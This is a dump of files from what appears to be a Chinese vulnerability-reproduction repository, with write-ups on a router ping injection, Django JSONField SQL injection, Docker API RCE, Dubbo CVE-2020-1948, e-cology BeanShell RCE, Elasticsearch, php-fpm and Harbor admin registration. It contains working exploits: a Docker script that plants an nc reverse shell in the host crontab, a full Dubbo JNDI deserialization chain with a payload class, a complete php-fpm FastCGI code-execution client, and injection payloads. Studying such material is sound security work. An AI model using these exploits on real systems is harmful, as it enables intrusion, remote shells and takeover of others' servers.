text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 30 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 31 | Accept-Encoding: gzip, deflate 32 | Content-Type: application/x-www-form-urlencoded 33 | Content-Length: 108 34 | Connection: close 35 | Referer: http://162.xxx.xxx.60:55555/ 36 | Upgrade-Insecure-Requests: 1 37 | 38 | html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0aping%20http://1234.dnslog平台地址 39 | ``` 40 | 41 | 42 | 实际上就是一个命令注入,通过换行符(%0a)截断ping命令,然后插入自己想要执行的命令,上面的payload执行了ping命令,用dnslog的方式检测漏洞是否存在 43 | 44 | 效果如下 45 | 46 | ![](assets/dnslog.png) 47 | 48 | 证明漏洞存在 -------------------------------------------------------------------------------- /django/django jsonfield sql注入/assets/admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/admin.png -------------------------------------------------------------------------------- /django/django jsonfield sql注入/assets/evil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/evil.png -------------------------------------------------------------------------------- /django/django jsonfield sql注入/assets/models.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/models.png -------------------------------------------------------------------------------- /django/django jsonfield sql注入/assets/normal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/normal.png -------------------------------------------------------------------------------- /django/django jsonfield sql注入/assets/postgres.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/postgres.png -------------------------------------------------------------------------------- /django/django jsonfield sql注入/readme.md: -------------------------------------------------------------------------------- 1 | ### 参考 2 | 本文只做简单的复现,漏洞原理请参见p牛博客 3 | https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html 4 | 5 | 6 | ### 复现环境 7 | 8 | django2.2.3 9 | 10 | ### 复现 11 | 12 | 在settings.py中配置好数据库连接,连接到postgresql 13 | 14 | ![](assets/postgres.png) 15 | 16 | 当然连接数据库之前需要安装postgresql,这些,大家自行解决吧,然后models创建如下 17 | 18 | ![](assets/models.png) 19 | 20 | 创建了models还要记得,执行相应命令,postgresql才会创建相应数据库与表,具体参考:http://www.runoob.com/django/django-model.html 21 | 22 | 然后在admin.py中添加 23 | 24 | `admin.site.register(models.Test)` 25 | 26 | 把我刚刚创建的models给注册到django自带的管理后台中,然后我们就可以到管理后台去操作数据库了 27 | 28 | ![](assets/admin.png) 29 | 30 | 现在可以直接在url处输入我们的查询条件,下面是一个正常的查询 31 | 32 | ![](assets/normal.png) 33 | 34 | 我们再构造一个恶意的sql查询,例如添加一个单引号 35 | 36 | ![](assets/evil.png) 37 | 38 | sql语句报错了,说明此处确存在sql注入问题。 39 | 40 | -------------------------------------------------------------------------------- /docker/docker未授权访问toRCE/assets/crontab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/docker/docker未授权访问toRCE/assets/crontab.png -------------------------------------------------------------------------------- /docker/docker未授权访问toRCE/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/docker/docker未授权访问toRCE/assets/python_poc.png -------------------------------------------------------------------------------- /docker/docker未授权访问toRCE/readme.md: -------------------------------------------------------------------------------- 1 | ### 复现环境 2 | 3 | 这个环境,就直接去vulhub上面找吧 4 | 5 | ### 利用方法 6 | 7 | 利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。 8 | 9 | 下面是来自vulhub的一个简单的python脚本 10 | 11 | ```python 12 | 13 | import docker 14 | 15 | client = docker.DockerClient(base_url='http://your-ip:2375/') 16 | data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) 17 | ``` 18 | 19 | 上面执行的命令是利用nc反弹shell,我们在写python poc的时候可以执行ping命令,利用dnslog的方式来验证漏洞 20 | 21 | ![](assets/crontab.png) 22 | 23 | 24 | ### python poc效果 25 | 26 | 再编写python poc时需要注意,docker任务计划表还是有一定延时才能执行命令,所以,我们需要使用time.sleep()等待几秒钟 27 | ![](assets/python_poc.png) 28 | -------------------------------------------------------------------------------- /dubbo/CVE-2020-1948/assets/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/dubbo/CVE-2020-1948/assets/calc.png -------------------------------------------------------------------------------- /dubbo/CVE-2020-1948/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2020-1948 dubbo反序列化漏洞复现 2 | -- 3 | 4 | ### poc 5 | 6 | https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html 7 | 8 | ### 影响版本 9 | 10 | - Dubbo 2.7.0 to 2.7.6 11 | - Dubbo 2.6.0 to 2.6.7 12 | - Dubbo all 2.5.x versions (not supported by official team any longer) 13 | 14 | ### 环境搭建 15 | 16 | https://github.com/apache/dubbo-spring-boot-project 17 | 下载 2.7.6 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加: 18 | 19 | ``` 20 | 21 | com.rometools 22 | rome 23 | 1.7.0 24 | 25 | 26 | ``` 27 | 28 | 添加这个是为了手动添加一个漏洞利用gadgets 29 | 30 | 31 | 在`/sample-api/src/main/java/org/apache/dubbo/spring/boot/demo/consumer/DemoService.java`添加一个以Object为参数的远程方法commonTest,如下所示 32 | 33 | ```java 34 | public interface DemoService { 35 | 36 | String sayHello(String name); 37 | String commonTest(Object o) throws IOException; 38 | } 39 | ``` 40 | 41 | 上面只是一个接口,还需要在服务提供端实现这个接口并重写commonTest方法,在`/auto-configure-samples/provider-sample/src/main/java/org/apache/dubbo/spring/boot/demo/provider/service/DefaultDemoService.java`中: 42 | 43 | ```java 44 | @Service(version = "1.0.0") 45 | public class DefaultDemoService implements DemoService { 46 | 47 | /** 48 | * The default value of ${dubbo.application.name} is ${spring.application.name} 49 | */ 50 | @Value("${dubbo.application.name}") 51 | private String serviceName; 52 | 53 | @Override 54 | public String commonTest(Object o) throws IOException { 55 | return "axin"; 56 | } 57 | 58 | @Override 59 | public String sayHello(String name) { 60 | return String.format("[%s] : Hello, %s", serviceName, name); 61 | 62 | } 63 | } 64 | ``` 65 | 66 | 接下来就是编写消费端的代码啦,我们直接借用marshalsec.jar生成payload,并利用服务端提供的接口commonTest方法,把payload发送到服务的提供端 67 | 68 | ```java 69 | @EnableAutoConfiguration 70 | public class DubboAutoConfigurationConsumerBootstrap { 71 | 72 | private final Logger logger = LoggerFactory.getLogger(getClass()); 73 | 74 | @Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345") 75 | private DemoService demoService; 76 | 77 | private static Object getPayload() throws Exception{ 78 | String jndiUrl = "ldap://127.0.0.1:8087/Exploit"; 79 | ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl)); 80 | EqualsBean root = new EqualsBean(ToStringBean.class, item); 81 | return JDKUtil.makeMap(root, root); 82 | } 83 | public static void main(String[] args) { 84 | SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close(); 85 | } 86 | 87 | @Bean 88 | public ApplicationRunner runner() throws Exception { 89 | Object o = getPayload(); 90 | //return args -> logger.info(demoService.sayHello("mercyblitz")); 91 | return args -> logger.info(demoService.commonTest(o)); 92 | } 93 | } 94 | ``` 95 | 96 | 先不要着急运行,由于我们使用的是rome.jar中的jndi攻击链,我们还需要启动一个LDAP服务提供端 97 | 98 | `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit 8087` 99 | 100 | 101 | 除此之外,还有恶意代码Exploit.class需要部署到`http://127.0.0.1:8089`,恶意代码如下,请自行编译为class文件 102 | 103 | ```java 104 | 105 | import java.io.BufferedReader; 106 | import java.io.IOException; 107 | import java.io.InputStream; 108 | import java.io.InputStreamReader; 109 | import java.io.Reader; 110 | import javax.print.attribute.standard.PrinterMessageFromOperator; 111 | public class Exploit{ 112 | public Exploit() throws IOException,InterruptedException{ 113 | String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator"; 114 | final Process process = Runtime.getRuntime().exec(cmd); 115 | printMessage(process.getInputStream());; 116 | printMessage(process.getErrorStream()); 117 | int value=process.waitFor(); 118 | System.out.println(value); 119 | } 120 | 121 | private static void printMessage(final InputStream input) { 122 | // TODO Auto-generated method stub 123 | new Thread (new Runnable() { 124 | @Override 125 | public void run() { 126 | // TODO Auto-generated method stub 127 | Reader reader =new InputStreamReader(input); 128 | BufferedReader bf = new BufferedReader(reader); 129 | String line = null; 130 | try { 131 | while ((line=bf.readLine())!=null) 132 | { 133 | System.out.println(line); 134 | } 135 | }catch (IOException e){ 136 | e.printStackTrace(); 137 | } 138 | } 139 | }).start(); 140 | } 141 | } 142 | 143 | ``` 144 | 145 | 然后在Exploit.class文件同目录下,执行`python -m SimpleHTTPServer 8089`把恶意代码部署到8089端口上,至此我们的前期工作算是做完了 146 | 147 | 接着运行provider端,然后运行consumer端,就可以弹出计算器啦 148 | 149 | ![](assets/calc.png) 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /e-cology(泛微oa系统)/e-cology未授权RCE/assets/local.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/e-cology(泛微oa系统)/e-cology未授权RCE/assets/local.png -------------------------------------------------------------------------------- /e-cology(泛微oa系统)/e-cology未授权RCE/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/e-cology(泛微oa系统)/e-cology未授权RCE/assets/poc.png -------------------------------------------------------------------------------- /e-cology(泛微oa系统)/e-cology未授权RCE/readme.md: -------------------------------------------------------------------------------- 1 | ### 原理简述 2 | 3 | 这个漏洞起因是因为使用了beanshell这个组件,并且没有做任何的访问控制。导致可以直接访问beanshell,执行任意命令。 4 | 5 | ### 漏洞复现 6 | 7 | 直接访问`/weaver/bsh.servlet.BshServlet` 8 | 9 | ![](assets/poc.png) 10 | 11 | 可以使用exec()执行命令,例如: 12 | `exec("whoami")` 13 | 14 | 记住,是双引号,而且泛微oa应该拦截了一些关键词(exec好像就被拦截了,但是有方法可以绕过) 15 | 16 | ### 漏洞分析 17 | 18 | http://www.liuhaihua.cn/archives/614038.html 19 | 20 | #### 其他 21 | 22 | 其实我再测试这个漏洞之前,先是本地搭建了一个beanshell用于测试的,beanshell官方文档(https://beanshell.github.io/manual/bshmanual.html#Useful_BeanShell_Commands) 23 | 有测试war包下载,搭建好过后其实和真实环境的界面一样,不过没有做关键字拦截,你可以执行任意命令,如下: 24 | 25 | ![](assets/local.png) 26 | 27 | 28 | 29 | 30 | ### python poc 31 | 32 | 33 | ecology_oa_cmd_exec.py(暂不放出) 34 | -------------------------------------------------------------------------------- /elasticsearch/elasticsearch未授权访问/assets/nodes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/elasticsearch/elasticsearch未授权访问/assets/nodes.png -------------------------------------------------------------------------------- /elasticsearch/elasticsearch未授权访问/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/elasticsearch/elasticsearch未授权访问/assets/python_poc.png -------------------------------------------------------------------------------- /elasticsearch/elasticsearch未授权访问/readme.md: -------------------------------------------------------------------------------- 1 | ### 漏洞概述 2 | 3 | Elasticsearch 是一款 java 编写的企业级搜索服务。越来越多的公司使用 ELK 作为日志分析,启动此服务默认会开放9200端口,可被非法操作数据 4 | 5 | ### 利用方法 6 | 7 | 漏洞检测:默认端口9200 8 | 9 | 相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。 10 | 11 | http://x.x.x.x:9200/_nodes 12 | 13 | http://x.x.x.x:9200/_river 14 | 15 | ![](assets/nodes.png) 16 | 17 | ### 防御 18 | 19 | 1、防火墙上设置禁止外网访问 9200 端口。 20 | 21 | 2、使用 Nginx 搭建反向代理,通过配置 Nginx 实现对 Elasticsearch 的认证 22 | 23 | 3、限制IP访问,绑定固定IP 24 | 25 | 4、在config/elasticsearch.yml中为 9200 端口设置认证: -------------------------------------------------------------------------------- /fpm/php-fpm未授权访问漏洞/assets/res.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/fpm/php-fpm未授权访问漏洞/assets/res.png -------------------------------------------------------------------------------- /fpm/php-fpm未授权访问漏洞/assets/vulhub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/fpm/php-fpm未授权访问漏洞/assets/vulhub.png -------------------------------------------------------------------------------- /fpm/php-fpm未授权访问漏洞/readme.md: -------------------------------------------------------------------------------- 1 | ### 0x01 原理简介 2 | 最近偶然间读到了p神的这篇文章: 3 | https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#nginxiis7 4 | 5 | 文章对fastcgi协议进行了清晰的阐述,并且提出了关于这个协议的攻击手法,其中还提到了一个漏洞,就是php-fpm未授权访问漏洞。一般nginx以及iis在部署php环境是就会使用到fastcgi,大概工作原理就是Web服务器拿到来自客户端的请求时,会把这个请求按照fastcgi协议的要求重新封装,发送到语言后端,封装的信息中就包括客户端请求的是哪个文件,语言解析器在拿到请求过后就会解析相应的php文件,然后再通过fastcgi协议传给Web服务器,Web服务器再返回给客户端。 6 | 7 | 那么,PHP-FPM又是什么东西? 8 | 9 | FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM,而fpm默认是监听在9000端口上的,如果这个端口由于配置不得当直接暴露在公网上,攻击者就可以伪造fastcgi请求数据发送到fpm,然后控制fpm后端解析任何php文件,首先这个php文件的存在,在真实的环境中,我们就需要通过猜测爆破的方式来确定服务端存在的php文件了,不过通常在使用源安装php时,会默认安装一些php文件,例如:`/usr/local/lib/php/PEAR.php`等,我们就可以通过构造恶意fastcgi请求去解析这些文件,但是,有人就会有疑问了,我没事解析这些文件干嘛,又不能执行任意代码,只能执行现有的php文件!其实,php.ini里还有一些比较有趣的配置:`auto_prepend_file和auto_append_file`,这两个配置的意思就是在每个php文件的开始和结尾处添加一段代码,如果我们能够控制这两个配置就可以写入任何代码到服务器上的php文件,而且,php-fpm还真就可以控制这两个配置项,这就涉及到php-fpm的环境变量:`PHP_VALUE和PHP_ADMIN_VALUE`,这两个配置项的具体功能,参考p神博客。 10 | 11 | ``` 12 | { 13 | 'GATEWAY_INTERFACE': 'FastCGI/1.0', 14 | 'REQUEST_METHOD': 'GET', 15 | 'SCRIPT_FILENAME': '/var/www/html/index.php', 16 | 'SCRIPT_NAME': '/index.php', 17 | 'QUERY_STRING': '?a=1&b=2', 18 | 'REQUEST_URI': '/index.php?a=1&b=2', 19 | 'DOCUMENT_ROOT': '/var/www/html', 20 | 'SERVER_SOFTWARE': 'php/fcgiclient', 21 | 'REMOTE_ADDR': '127.0.0.1', 22 | 'REMOTE_PORT': '12345', 23 | 'SERVER_ADDR': '127.0.0.1', 24 | 'SERVER_PORT': '80', 25 | 'SERVER_NAME': "localhost", 26 | 'SERVER_PROTOCOL': 'HTTP/1.1' 27 | 'PHP_VALUE': 'auto_prepend_file = php://input', 28 | 'PHP_ADMIN_VALUE': 'allow_url_include = On' 29 | } 30 | 31 | ``` 32 | 33 | 这样我们只要我们把想要执行的命令放在body中就可以执行了。 34 | 35 | ### 0x02 复现 36 | 37 | 直接用vulhub搭建环境: 38 | docker-compose up -d启动环境,会自动去docker-hub下载漏洞环境并启动docker,监听在9000端口上 39 | 40 | ![](assets/vulhub.png) 41 | 42 | 然后就需要exp了,exp p神也帮我们写好了(本来看完了p神的协议分析想要自己写一下,发现emmmmm能力欠缺),简直是一条龙服务,贴出来: 43 | 44 | ```php 45 | import socket 46 | import random 47 | import argparse 48 | import sys 49 | from io import BytesIO 50 | 51 | # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client 52 | 53 | PY2 = True if sys.version_info.major == 2 else False 54 | 55 | 56 | def bchr(i): 57 | if PY2: 58 | return force_bytes(chr(i)) 59 | else: 60 | return bytes([i]) 61 | 62 | 63 | def bord(c): 64 | if isinstance(c, int): 65 | return c 66 | else: 67 | return ord(c) 68 | 69 | 70 | def force_bytes(s): 71 | if isinstance(s, bytes): 72 | return s 73 | else: 74 | return s.encode('utf-8', 'strict') 75 | 76 | 77 | def force_text(s): 78 | if issubclass(type(s), str): 79 | return s 80 | if isinstance(s, bytes): 81 | s = str(s, 'utf-8', 'strict') 82 | else: 83 | s = str(s) 84 | return s 85 | 86 | 87 | class FastCGIClient: 88 | """A Fast-CGI Client for Python""" 89 | 90 | # private 91 | __FCGI_VERSION = 1 92 | 93 | __FCGI_ROLE_RESPONDER = 1 94 | __FCGI_ROLE_AUTHORIZER = 2 95 | __FCGI_ROLE_FILTER = 3 96 | 97 | __FCGI_TYPE_BEGIN = 1 98 | __FCGI_TYPE_ABORT = 2 99 | __FCGI_TYPE_END = 3 100 | __FCGI_TYPE_PARAMS = 4 101 | __FCGI_TYPE_STDIN = 5 102 | __FCGI_TYPE_STDOUT = 6 103 | __FCGI_TYPE_STDERR = 7 104 | __FCGI_TYPE_DATA = 8 105 | __FCGI_TYPE_GETVALUES = 9 106 | __FCGI_TYPE_GETVALUES_RESULT = 10 107 | __FCGI_TYPE_UNKOWNTYPE = 11 108 | 109 | __FCGI_HEADER_SIZE = 8 110 | 111 | # request state 112 | FCGI_STATE_SEND = 1 113 | FCGI_STATE_ERROR = 2 114 | FCGI_STATE_SUCCESS = 3 115 | 116 | def __init__(self, host, port, timeout, keepalive): 117 | self.host = host 118 | self.port = port 119 | self.timeout = timeout 120 | if keepalive: 121 | self.keepalive = 1 122 | else: 123 | self.keepalive = 0 124 | self.sock = None 125 | self.requests = dict() 126 | 127 | def __connect(self): 128 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 129 | self.sock.settimeout(self.timeout) 130 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 131 | # if self.keepalive: 132 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) 133 | # else: 134 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) 135 | try: 136 | self.sock.connect((self.host, int(self.port))) 137 | except socket.error as msg: 138 | self.sock.close() 139 | self.sock = None 140 | print(repr(msg)) 141 | return False 142 | return True 143 | 144 | def __encodeFastCGIRecord(self, fcgi_type, content, requestid): 145 | length = len(content) 146 | buf = bchr(FastCGIClient.__FCGI_VERSION) \ 147 | + bchr(fcgi_type) \ 148 | + bchr((requestid >> 8) & 0xFF) \ 149 | + bchr(requestid & 0xFF) \ 150 | + bchr((length >> 8) & 0xFF) \ 151 | + bchr(length & 0xFF) \ 152 | + bchr(0) \ 153 | + bchr(0) \ 154 | + content 155 | return buf 156 | 157 | def __encodeNameValueParams(self, name, value): 158 | nLen = len(name) 159 | vLen = len(value) 160 | record = b'' 161 | if nLen < 128: 162 | record += bchr(nLen) 163 | else: 164 | record += bchr((nLen >> 24) | 0x80) \ 165 | + bchr((nLen >> 16) & 0xFF) \ 166 | + bchr((nLen >> 8) & 0xFF) \ 167 | + bchr(nLen & 0xFF) 168 | if vLen < 128: 169 | record += bchr(vLen) 170 | else: 171 | record += bchr((vLen >> 24) | 0x80) \ 172 | + bchr((vLen >> 16) & 0xFF) \ 173 | + bchr((vLen >> 8) & 0xFF) \ 174 | + bchr(vLen & 0xFF) 175 | return record + name + value 176 | 177 | def __decodeFastCGIHeader(self, stream): 178 | header = dict() 179 | header['version'] = bord(stream[0]) 180 | header['type'] = bord(stream[1]) 181 | header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) 182 | header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) 183 | header['paddingLength'] = bord(stream[6]) 184 | header['reserved'] = bord(stream[7]) 185 | return header 186 | 187 | def __decodeFastCGIRecord(self, buffer): 188 | header = buffer.read(int(self.__FCGI_HEADER_SIZE)) 189 | 190 | if not header: 191 | return False 192 | else: 193 | record = self.__decodeFastCGIHeader(header) 194 | record['content'] = b'' 195 | 196 | if 'contentLength' in record.keys(): 197 | contentLength = int(record['contentLength']) 198 | record['content'] += buffer.read(contentLength) 199 | if 'paddingLength' in record.keys(): 200 | skiped = buffer.read(int(record['paddingLength'])) 201 | return record 202 | 203 | def request(self, nameValuePairs={}, post=''): 204 | if not self.__connect(): 205 | print('connect failure! please check your fasctcgi-server !!') 206 | return 207 | 208 | requestId = random.randint(1, (1 << 16) - 1) 209 | self.requests[requestId] = dict() 210 | request = b"" 211 | beginFCGIRecordContent = bchr(0) \ 212 | + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ 213 | + bchr(self.keepalive) \ 214 | + bchr(0) * 5 215 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, 216 | beginFCGIRecordContent, requestId) 217 | paramsRecord = b'' 218 | if nameValuePairs: 219 | for (name, value) in nameValuePairs.items(): 220 | name = force_bytes(name) 221 | value = force_bytes(value) 222 | paramsRecord += self.__encodeNameValueParams(name, value) 223 | 224 | if paramsRecord: 225 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) 226 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) 227 | 228 | if post: 229 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) 230 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) 231 | 232 | self.sock.send(request) 233 | self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND 234 | self.requests[requestId]['response'] = b'' 235 | return self.__waitForResponse(requestId) 236 | 237 | def __waitForResponse(self, requestId): 238 | data = b'' 239 | while True: 240 | buf = self.sock.recv(512) 241 | if not len(buf): 242 | break 243 | data += buf 244 | 245 | data = BytesIO(data) 246 | while True: 247 | response = self.__decodeFastCGIRecord(data) 248 | if not response: 249 | break 250 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ 251 | or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 252 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 253 | self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR 254 | if requestId == int(response['requestId']): 255 | self.requests[requestId]['response'] += response['content'] 256 | if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: 257 | self.requests[requestId] 258 | return self.requests[requestId]['response'] 259 | 260 | def __repr__(self): 261 | return "fastcgi connect host:{} port:{}".format(self.host, self.port) 262 | 263 | 264 | if __name__ == '__main__': 265 | parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') 266 | parser.add_argument('host', help='Target host, such as 127.0.0.1') 267 | parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') 268 | parser.add_argument('-c', '--code', help='What php code your want to execute', default='') 269 | parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) 270 | 271 | args = parser.parse_args() 272 | 273 | client = FastCGIClient(args.host, args.port, 3, 0) 274 | params = dict() 275 | documentRoot = "/" 276 | uri = args.file 277 | content = args.code 278 | params = { 279 | 'GATEWAY_INTERFACE': 'FastCGI/1.0', 280 | 'REQUEST_METHOD': 'POST', 281 | 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 282 | 'SCRIPT_NAME': uri, 283 | 'QUERY_STRING': '', 284 | 'REQUEST_URI': uri, 285 | 'DOCUMENT_ROOT': documentRoot, 286 | 'SERVER_SOFTWARE': 'php/fcgiclient', 287 | 'REMOTE_ADDR': '127.0.0.1', 288 | 'REMOTE_PORT': '9985', 289 | 'SERVER_ADDR': '127.0.0.1', 290 | 'SERVER_PORT': '80', 291 | 'SERVER_NAME': "localhost", 292 | 'SERVER_PROTOCOL': 'HTTP/1.1', 293 | 'CONTENT_TYPE': 'application/text', 294 | 'CONTENT_LENGTH': "%d" % len(content), 295 | 'PHP_VALUE': 'auto_prepend_file = php://input', 296 | 'PHP_ADMIN_VALUE': 'allow_url_include = On' 297 | } 298 | response = client.request(params, content) 299 | print(force_text(response)) 300 | ``` 301 | 执行命令: 302 | 303 | `python /opt/vuls/fpm_client.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c ''` 304 | 305 | ![](assets/res.png) 306 | 307 | ### 0x03 308 | 309 | 其实nginx与iis7的解析漏洞就是因为php-fpm导致的,这个解析漏洞就是访问形如:`http://xxxxx/123.jpg/.php`的url就会把123.jpg按照php来解析,所以,如果一个网站可以上传图片,而且存在这个解析漏洞,那么就可以直接getshell了,危害很大!在php里有一个配置选项:`cgi.fix_pathinfo`,这个配置是为了支持pathinfo,pathinfo是什么呢? 310 | 形如:`http://xxx/index.php/test/123`,index.php才是真正的脚本文件,路径后面的都是传给它的参数。 311 | 312 | 所以在开启了fix_pathinfo后,php-fpm在拿到`123.jpg/.php`这个路径后,发现这个文件不存在,就会去掉最后一个`/`后的内容,然后继续解析,直到某个文件存在,然后解析,这就导致了解析漏洞。 313 | 314 | 而且这个漏洞是可以通过ssrf打的,结合gopher协议,可以构造任何tcp包,就可以攻击内网脆弱的php-fpm。参考: 315 | 316 | https://0verwatch.top/Gopher-fastcgi.html 317 | 318 | 长亭:https://blog.chaitin.cn/gopher-attack-surfaces/ 319 | 320 | 321 | 这位表哥提到的用nc抓包的方式,我之前从来没想过,都是用wireshark抓,但是他这里用nc抓包真的挺方便的。 -------------------------------------------------------------------------------- /harbor/harbor任意管理员注册(cve-2019-1609)/assets/index.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/index.png -------------------------------------------------------------------------------- /harbor/harbor任意管理员注册(cve-2019-1609)/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/poc.png -------------------------------------------------------------------------------- /harbor/harbor任意管理员注册(cve-2019-1609)/assets/result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/result.png -------------------------------------------------------------------------------- /harbor/harbor任意管理员注册(cve-2019-1609)/assets/users.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/users.png -------------------------------------------------------------------------------- /harbor/harbor任意管理员注册(cve-2019-1609)/assets/屏幕截图.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/屏幕截图.png -------------------------------------------------------------------------------- /harbor/harbor任意管理员注册(cve-2019-1609)/readme.md: -------------------------------------------------------------------------------- 1 | ### 漏洞简介 2 | 3 | 因注册模块对参数校验不严格,可导致任意管理员注册。 4 | - 危及版本: Harbor 1.7.6之前版本 Harbor 1.8.3之前版本 5 | 6 | Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若开放注册功能,攻击者可利用该漏洞创建admin账户。注册功能默认开放。攻击者可以以管理员身份下载私有项目并审计;可以删除或污染所有镜像。 7 | 8 | ### 漏洞利用 9 | 10 | ![](assets/index.png) 11 | 12 | 在登录页面点击注册账号,然后随意注册一个账号,抓包,在发送的jons数据最后添加: 13 | 14 | `"has_admin_role":true` 15 | 16 | ![](assets/poc.png) 17 | 18 | 19 | 我们用这个账号尝试登录 20 | 21 | ![](assets/result.png) 22 | 23 | 我刚刚添加的123用户也是管理员权限,tntaxin也就是登录的这个账户也是管理员权限 24 | 25 | ![](assets/users.png) -------------------------------------------------------------------------------- /jboss/cve-2007-1036/assets/burp_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2007-1036/assets/burp_poc.png -------------------------------------------------------------------------------- /jboss/cve-2007-1036/assets/pocsuite3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2007-1036/assets/pocsuite3.png -------------------------------------------------------------------------------- /jboss/cve-2007-1036/readme.md: -------------------------------------------------------------------------------- 1 | 